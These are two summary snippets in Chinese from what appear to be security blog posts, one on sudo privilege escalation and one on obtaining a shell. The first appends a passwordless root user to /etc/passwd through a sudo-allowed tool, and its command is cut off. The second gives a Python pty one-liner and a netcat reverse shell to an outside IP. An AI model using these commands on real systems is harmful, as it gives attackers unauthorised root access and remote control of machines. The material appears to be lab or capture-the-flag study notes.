摘要：1.sudo提权 通过命令sudo -l查看是否有可提权的命令。 teehee teehee --help 发现-a参数 可以追加 那麽我们选择给/etc/passwd 追加我们自己定义的用户名 echo 'admin::0:0::/home/admin:/bin/bash' |sudo teehe 阅读全文

摘要：1.python python -c 'import pty;pty.spawn("/bin/bash")' 2.nc nc -e /bin/bash 192.168.41.123 789 阅读全文